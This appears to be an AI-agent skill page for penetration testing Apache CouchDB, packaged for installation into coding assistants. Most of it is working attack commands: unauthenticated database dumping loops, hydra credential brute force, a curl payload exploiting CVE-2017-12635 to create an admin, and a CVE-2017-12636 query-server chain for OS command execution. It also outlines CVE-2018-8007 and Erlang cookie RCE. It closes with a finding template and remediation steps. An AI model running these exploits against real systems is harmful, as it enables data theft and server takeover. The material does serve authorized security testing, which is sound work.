Testing Apache CouchDB document databases (default HTTP port 5984, HTTPS 6984) for unauthenticated/admin-party access, database dumping over the REST API, default/weak credentials, the CVE-2017-12635 privilege-escalation admin-creation bug and CVE-2017-12636/CVE-2018-8007 remote-code-execution paths, plus Erlang EPMD cookie abuse during authorized engagements.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Testing Apache CouchDB document databases (default HTTP port 5984, HTTPS 6984) for unauthenticated/admin-party access, database dumping over the REST API, default/weak credentials, the CVE-2017-12635 privilege-escalation admin-creation bug and CVE-2017-12636/CVE-2018-8007 remote-code-execution paths, plus Erlang EPMD cookie abuse during authorized engagements.
Unauthenticated "admin party" access → full dump — the #1 miss. With no admin configured, anyone can read/write all databases.
How to CONFIRM: curl http://<IP>:5984/_all_dbs returns the DB list (not 401 {"error":"unauthorized"}). A 401 on / means creds are required and even the banner is hidden.
Default / weak credentials — when auth is on, try common admin pairs.
How to CONFIRM: curl http://user:pass@<IP>:5984/_all_dbs returns the DB list; brute force HTTP basic auth.
CVE-2017-12635 — privilege escalation (duplicate JSON keys) — Erlang vs JavaScript JSON parser disagreement lets an unauthenticated user create an admin by sending duplicate roles keys.
How to CONFIRM: curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' http://<IP>:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json" then login as hacktricks:hacktricks with _admin role.
CVE-2017-12636 — RCE via query servers / config — an admin can register a malicious query_servers/os_daemons entry and trigger it through a design-document view, executing OS commands as the CouchDB user.
How to CONFIRM: with , then create a design doc with — the command runs. Chains directly off CVE-2017-12635.
PUT /_node/couchdb@localhost/_config/query_servers/cmd
"/path/cmd"
"language":"cmd"
CVE-2018-8007 — RCE via cors/origins config injection — when local.ini is writable, inject an [os_daemons] entry through the CORS origins config; it executes on restart.
Erlang EPMD cookie abuse (port 4369) — if 4369 is exposed and the Erlang cookie (e.g. seen in ps as monster) is known/guessable, connect as a distributed Erlang node for RCE.
curl http://<IP>:5984/_all_dbs # try unauthenticated first
curl http://admin:password@<IP>:5984/_all_dbs # default creds
hydra -L users.txt -P passwords.txt <IP> http-get /_all_dbs
# Or CVE-2017-12635 to MINT your own admin (see below)
Step 3: Exploit / Extract (dump documents + RCE)
# Dump every database -> all docs -> document contentsfor db in $(curl -s http://<IP>:5984/_all_dbs | tr -d '[]"' | tr','' '); doecho"== $db =="; curl -s "http://<IP>:5984/$db/_all_docs?include_docs=true"done
curl -s http://<IP>:5984/<db>/_all_docs # list ids
curl -s http://<IP>:5984/<db>/<id> # read a document
# CVE-2017-12635: create an admin user with no prior auth
curl -X PUT -d '{"type":"user","name":"pwn","roles":["_admin"],"roles":[],"password":"pwn"}' \
http://<IP>:5984/_users/org.couchdb.user:pwn -H "Content-Type:application/json"
# CVE-2017-12636: admin -> RCE via query_servers + design-doc view (CouchDB 2.x path)
curl http://pwn:pwn@<IP>:5984/_membership
curl -X PUT 'http://pwn:pwn@<IP>:5984/_node/couchdb@localhost/_config/query_servers/cmd' \
-d '"/sbin/ifconfig > /tmp/df"'
curl -X PUT 'http://pwn:pwn@<IP>:5984/df'
curl -X PUT 'http://pwn:pwn@<IP>:5984/df/zero' -d '{"_id":"HTP"}'
curl -X PUT 'http://pwn:pwn@<IP>:5984/df/_design/zero' \
-d '{"_id":"_design/zero","views":{"anything":{"map":""}},"language":"cmd"}'
Public exploit code (exp.py / EDB 44913) for the query-server RCE chain.
EPMD / erl
Distributed Erlang node connection for cookie-based RCE on 4369.
Common Scenarios
Scenario 1: Admin party → full dump
curl http://<IP>:5984/_all_dbs returns ["_users","passwords","simpsons"] with no auth. Iterating _all_docs?include_docs=true exfiltrates every document, including the _users password hashes.
Scenario 2: Unauth → admin → RCE
The tester mints an admin with CVE-2017-12635, then chains CVE-2017-12636 by registering a query_servers command and triggering it via a design-doc view, gaining OS command execution as the couchdb user.
Scenario 3: Erlang cookie pivot
EPMD on 4369 is exposed and ps reveals the Erlang cookie. The tester joins as a distributed Erlang node and executes commands on the CouchDB host.
Output Format
## CouchDB Finding
**Service**: Apache CouchDB
**Port**: 5984/tcp (CouchDB 2.0.0)
**Severity**: Critical
**Finding**: Unauthenticated access plus CVE-2017-12635 privilege escalation
**Evidence**:
- curl http://<IP>:5984/_all_dbs -> ["_users","passwords","simpsons"] (no auth)
- PUT _users/org.couchdb.user:pwn with duplicate roles -> admin "pwn" created
- login pwn:pwn confirmed _admin role
**Impact**: Unauthenticated data theft and admin takeover, leading to remote code execution via query-server config.
**Recommendation**:
1. Configure an admin user to end "admin party" and require authentication.
2. Restrict 5984/6984/5986/4369 by firewall; never expose to untrusted networks.
3. Upgrade to patch CVE-2017-12635/12636 and CVE-2018-8007; keep local.ini non-writable by the service.
4. Set a strong, unique Erlang cookie and isolate cluster traffic.
